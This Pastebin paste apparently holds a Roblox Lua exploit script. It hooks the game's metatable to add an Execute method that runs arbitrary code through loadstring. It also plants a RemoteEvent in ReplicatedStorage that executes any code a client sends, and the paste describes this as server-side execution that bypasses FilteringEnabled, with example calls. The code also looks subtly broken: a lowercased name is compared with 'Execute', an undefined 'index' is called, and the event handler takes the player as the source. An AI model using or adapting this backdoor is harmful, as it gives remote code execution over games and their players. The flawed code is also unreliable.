Advertisement
nilzzu

Untitled

Jul 22nd, 2018
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. Code:
  2. Begin = function()
  3.  
  4.  
  5. local gMetatable = getrawmetatable(game)
  6.  
  7. local Index = function(self, k)
  8. local Function = string.lower(k)
  9. if Function == "Execute" then
  10. return function(self, source)
  11. return { loadstring(source)() }
  12. end
  13. end
  14. end
  15.  
  16. local o_Index = gMetatable.__index
  17. gMetatable.__index = function(self, k)
  18. local v = index(self, k)
  19. if v then
  20. return v
  21. end
  22. return o_Index(self, k)
  23. end
  24.  
  25. local o_Namecall = gMetatable.__namecall
  26. gMetatable.__namecall = function(self, ...)
  27. local args = {...}
  28. local method = table.remove(args)
  29.  
  30. if type(method) == "string" then
  31. local ret = Index(self, method)
  32. if ret then
  33. return ret(self, unpack(args))
  34. end
  35. end
  36. return o_Namecall(self, ...)
  37. end
  38.  
  39.  
  40. local RemoteEvent = Instance.new("RemoteEvent")
  41. RemoteEvent.Parent=game.ReplicatedStorage
  42.  
  43. RemoteEvent.OnServerEvent:connect(function(Source)
  44. game:Execute(Source)
  45. end)
  46. end
  47. spawn(function() Begin() end)
  48.  
  49. After you ran the script, you can execute serversided lua code by passing lua code to the function game:Execute or you can pass lua code to a RemoteEvent it creates in ReplicatedStorage and therefore bypassing Filtering Enabled because Server scripts replicate on FilteringEnabled servers not LocalScripts. See more on FilteringEnabled: http://wiki.roblox.com/index.php?title=A...ingEnabled
  50.  
  51. Example script (calling game:Execute and passing lua code in the function argument):
  52. Code:
  53. game:Execute("workspace.Gravity=0")
  54.  
  55. Example script (calling the RemoteEvent that is created in ReplicatedStorage):
  56. Code:
  57. game:GetService("ReplicatedStorage").RemoteEvent:FireServer("workspace.Gravity=0")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement